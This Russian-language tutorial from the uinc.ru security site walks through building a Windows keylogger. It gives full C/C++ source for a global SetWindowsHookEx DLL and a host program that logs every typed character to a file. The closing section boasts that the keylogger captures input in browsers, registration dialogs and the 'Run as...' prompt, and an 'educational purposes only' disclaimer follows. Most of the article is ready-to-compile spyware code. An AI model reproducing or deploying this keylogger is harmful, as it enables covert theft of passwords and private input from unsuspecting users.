Underground InformatioN Center [&articles] 
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]

Платформа: Win32
Язык, используемый в примерах: C/C++
Уровень: Начинающий/Средний

Кейлоггер? Это просто!

В этой статье рассматриваются некоторые функции Win32 API, приемы и методы программирования под Windows достаточные для написания простого клавиатурного шпиона. Статья написана опираясь на материалы и вопросы форума uinc.ru по этой теме.

Введение

Зачем применяется клавиатурный шпион? В мирных целях - чтобы отследить определенную последовательность нажатий пользователем на клавиатуре. Пример - Abbyy Lingvo со своим <Ctrl>+<Ins>+<Ins>. А в "военных" - просто зафиксировать все вводимое с клавиатуры. В каких целях - ну это уже другой вопрос.

Методы

Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну в которое осуществляется ввод. Эти сообщения передают virtual-key коды нажатых клавиш. С ними не удобно работать поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с virtual-key кодами в символьные (WM_CHAR) и снова посылает их окну.

С помощью функции SetWindowHookEx мы установим ловушку (хук) для фильтрации посылаемых сообщений в Windows. Нас интересует сообщение WM_CHAR. Для этого вызовем ее с параметром WH_GETMESSAGE. С помощью SetWindowHookEx мы установим callback функцию, которая будет вызываться всякий раз когда сообщение будет попадать в очередь. А точнее всякий раз когда функци GetMessage или PeekMessage вынимают сообщение из очереди. Прежде чем "отдать" сообщение приложению, система передает это сообщение нашей хук-функции. С помощью хуков можно отслеживать события происходящие как в отдельном потоке, так и во всех потоках в системе. Мы поставим глобальный хук. Для глобальных хуков callback функция должна находиться в Dll. Callback функция вызывается из разных процессов, а dll, соответственно, подгружается во все эти процессы.

Итак, мы напишем dll, внутри которой будем устанавливать хук и внутри нее же будет находиться callback функция. А еще мы напишем основное приложение. Из него мы будем вызывать эту dll. Когда dll поймает нажатие клавиши - мы будем информировать свое главное приложение посылкой ему сообщения. А главное приложение уже будет обрабатывать это событие - делать запись в файл.

Листинг MyHookDll.h

Вот интерфейс нашей dll-ли. Мы опишем и экспортируем две функции SetHook и UnsetHook. Думаю по названию понятно что делают эти функции. SetHook принимает два параметра - это handle окна, куда посылать нотификационное сообщение и собственно само сообщение. UnsetHook - без параметров.


#define MYHOOKDLL_API __declspec(dllexport)

#include <windows.h>

extern "C"
{
	MYHOOKDLL_API int  SetHook( HWND,UINT );
	MYHOOKDLL_API int  UnSetHook();
}

Листинг MyHookDll.cpp

А вот и сама dll.


#include "MyHookDll.h"

// Глобальные переменные
HINSTANCE hInstance = NULL; // The instance of the DLL

// Описание нашей хук-функци
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );
  

А вот тут внимание, тонкий момент. Внутри dll-ли нам нужно хранить как минимум handle окна и сообщение. Но обратите внимание, что наша dll подгружается во все процессы. А все данные в dll (в том числе и глобальные) hInstance-зависимые. Поэтому мы объявим специальную разделяемую (shared) секцию. Данные обявленные в ней будут доступные всем экземплярам этой DLL. Обратите внимание на то, что во-первых, все переменные, объявленные здесь, должны быть проинициализированы; и во-вторых - имя секции может быть любым, но оно обрезается линкером до восьми символов (а то это может показаться странным когда вы посмотрите в откомпилированный екзешник).


#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Handle нашего хука
UINT KBoardMessage = NULL; // Сообщение, которое мы будем посылать
                           // родительскому приложению
HWND hParentWnd = NULL; // Окно родительского приложения
#pragma data_seg( )

//Директива линкеру создать разделяемую(shared) секцию с атрибутами RWS
#pragma comment(linker,"/SECTION:.SData,RWS")

// Далее, обычная DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
		hInstance = (HINSTANCE)hModule;
	return TRUE;
}

// Две функции SetHook и UnsetHook

MYHOOKDLL_API int SetHook (HWND hWnd, // window which 
                    // should receive notification messages
		UINT UpdateMsg) // notification message
{
	if (hWnd == NULL) return -1;
	
	// Save received parameters
	hParentWnd = hWnd;
	KBoardMessage = UpdateMsg;
	
	// Set hook
	hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
	
	// If we are failed...
	if (hMsgHook == NULL)
		return -1;
		
	return 0;
};

MYHOOKDLL_API int UnSetHook()
{
	UnhookWindowsHookEx (hMsgHook);
	
	hMsgHook = NULL;
	
	return 0;
};


// И сама callback функция хука

В зависимости от типа хука - его callback функция возвращает разную информацию. Наш хук возвращает структуру MSG. Итак если она не пустая, сообщение - WM_CHAR и оно вынимается из очереди (ведь приложение может сколько угодно "смотреть" на сообщение, вызывая функцию PeekMessage с параметром PM_NOREMOVE, но вынуть его сможет один раз) посылаем своему приложению нотификацию.


LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
	if (code >= 0)
	{
		MSG * msg = (MSG * )lParam;

		if ((lParam)
			&&(msg->message == WM_CHAR)
			&&(wParam == PM_REMOVE))
	
			PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
	}

	return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};

Все. Можно компилировать.

Основное приложение

Оно очень простое. И состоит из одного файла


#include <windows.h>
#include <stdio.h>
// Функция окна
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// Сообщение, которое мы будем получать от хука
#define WM_HOOKMESSAGE WM_USER+1
// Глобальные пременные
HWND hWnd; // Главное окно приложения
HINSTANCE hDllInst; // Dll с хуком
// И две функции
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Вход в программу
int APIENTRY WinMain(HINSTANCE hInstance,
		HINSTANCE hPrevInstance,
		LPSTR lpCmdLine,
		int nCmdShow)
{
	MSG msg;
	WNDCLASS wc;

	// Класс и окно которое будет получать уведомление о нажатиях клавиш.
	memset (&wc, 0, sizeof (wc));
	wc.lpszClassName = "__MyKeyLogger";
	wc.hInstance = hInstance;
	wc.lpfnWndProc = LogWndProc;
	wc.style = CS_HREDRAW | CS_VREDRAW ;
	wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
	wc.hCursor = LoadCursor(NULL, IDC_ARROW);

	RegisterClass(&wc);

	hWnd = ::CreateWindowEx (0,
		"__MyKeyLogger",
		"My KeyLogger",
		WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
		0, 0, 200, 200,
		NULL,
		NULL,
		hInstance,
		0);

	// Подгружаем dll
	hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");

	if (hDllInst)
	{
		SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
		UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
	}

	// Устанавливаем хук
	if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);

	// Цикл сообщений
	while (GetMessage(&msg, NULL, 0, 0))
	{
		DispatchMessage(&msg);
	}

	// Снимаем хук
	if(UnSetHook)UnSetHook();

	if (IsWindow(hWnd ))
		DestroyWindow (hWnd );

	// Выгружаем dll
	if (hDllInst) FreeLibrary(hDllInst);
	// Выход
	return 0;
}

// Функция окна
// В ней основной пункт - обработка нашего сообщения
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
	FILE * f = fopen("a.log","a");

	switch (Message)
	{
	case WM_CLOSE:
		DestroyWindow(hwnd);
		break;

	case WM_HOOKMESSAGE:
		switch(wParam)
		{
		// для некоторых символов выведем их "название"
		case 0x08: fprintf(f,"<BkSp>");break;
		case 0x1b: fprintf(f,"<Esc>");break;
		case 0x0d: fprintf(f,"\n");break;
		default:
			fprintf(f,"%c",wParam );
		}
		break;

	case WM_DESTROY:
	case WM_ENDSESSION:
		PostQuitMessage (0);
		break;
	}

	fclose(f);
	return DefWindowProc(hwnd,Message,wParam,lParam);
}

Компилируем!

Кейлоггер готов.

Заключение

Даже такой простой кейлоггер может многое. Будучи запущен с правами простого пользователя (не администратора) он может перехватывать ввод информации в практически любое окно Windows. Теперь вам доступно логгирование информации вводимой в окна броузеров, диалогов настройки и регистрации, оффисные приложения и окошко "Run as...". :)

Однако, ввод в некоторые окна наша программа не перехватывает.

Во-первых, это консольные окна в Win NT/2k/XP. Причина этому очень проста - сообщения WM_KEYDOWN и WM_KEYUP не транслируются в WM_CHAR. Этим окнам просто не приходит сообщение WM_CHAR.

Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений.

И наконец, окошко winlogon-на - "специального" процесса в Win NT/2k/Xp.

Но решение этих задач выходит за рамки данной статьи.

Статья написана специально для http://www.uinc.ru
Автор: TN

Keywords: кейлоггер, как написать кейлоггер, клавиатурный шпион, как написать клавиатурный шпион, слежка

Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.

Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.


[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive][home]
 Underground InformatioN Center [&articles] Choose style:
2000-2015 © uinC Team